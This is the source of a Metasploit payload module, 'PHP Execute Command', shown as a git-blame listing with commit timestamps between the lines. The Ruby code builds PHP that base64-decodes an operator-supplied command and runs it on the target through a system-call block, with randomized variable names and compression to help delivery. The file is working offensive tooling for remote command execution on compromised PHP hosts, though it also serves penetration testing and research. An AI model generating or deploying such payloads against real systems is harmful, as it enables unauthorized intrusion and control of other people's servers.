2008-09-01 04:41:18 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2008-09-01 04:41:18 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
require 'msf/core/payload/php'
|
|
|
|
|
require 'msf/core/handler/bind_tcp'
|
|
|
|
|
require 'msf/base/sessions/command_shell'
|
|
|
|
|
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2008-09-01 04:41:18 +00:00
|
|
|
|
2015-03-09 15:44:14 -05:00
|
|
|
CachedSize = :dynamic
|
2015-03-09 15:31:04 -05:00
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
include Msf::Payload::Single
|
|
|
|
|
include Msf::Payload::Php
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(merge_info(info,
|
|
|
|
|
'Name' => 'PHP Execute Command ',
|
|
|
|
|
'Description' => 'Execute a single system command',
|
|
|
|
|
'Author' => [ 'egypt' ],
|
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
|
'Platform' => 'php',
|
|
|
|
|
'Arch' => ARCH_PHP
|
|
|
|
|
))
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
2018-11-21 11:09:13 +02:00
|
|
|
OptString.new('CMD', [ true, "The command string to execute" ]),
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2013-08-30 16:28:54 -05:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def php_exec_cmd
|
|
|
|
|
|
|
|
|
|
cmd = Rex::Text.encode_base64(datastore['CMD'])
|
|
|
|
|
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
|
|
|
|
shell = <<-END_OF_PHP_CODE
|
2017-02-02 14:53:53 -06:00
|
|
|
#{php_preamble(disabled_varname: dis)}
|
2013-08-30 16:28:54 -05:00
|
|
|
$c = base64_decode("#{cmd}");
|
2017-02-02 14:53:53 -06:00
|
|
|
#{php_system_block(cmd_varname: "$c", disabled_varname: dis)}
|
2013-08-30 16:28:54 -05:00
|
|
|
END_OF_PHP_CODE
|
|
|
|
|
|
|
|
|
|
return Rex::Text.compress(shell)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
# Constructs the payload
|
|
|
|
|
#
|
|
|
|
|
def generate
|
|
|
|
|
return php_exec_cmd
|
|
|
|
|
end
|
2009-04-30 06:12:27 +00:00
|
|
|
end
|